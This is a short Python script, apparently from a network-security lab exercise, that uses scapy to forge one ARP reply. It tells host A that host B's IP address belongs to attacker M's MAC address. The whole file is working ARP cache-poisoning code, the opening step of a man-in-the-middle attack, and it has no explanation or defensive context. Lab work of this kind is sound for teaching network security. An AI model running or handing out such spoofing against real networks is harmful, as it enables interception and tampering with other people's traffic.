#!/usr/bin/python3
from scapy.all import *

A_ip = "10.3.0.2"
A_mac = "02:42:0a:03:00:02"
B_ip = "10.3.0.3"
B_mac = "02:42:0a:03:00:03"
M_ip = "10.3.0.37"
M_mac = "02:42:0a:03:00:25"

eth = Ether(src=M_mac,dst=A_mac)
arp = ARP(hwsrc=M_mac, psrc=B_ip,
          hwdst=A_mac, pdst=A_ip,
          op=2)

pkt = eth / arp
sendp(pkt)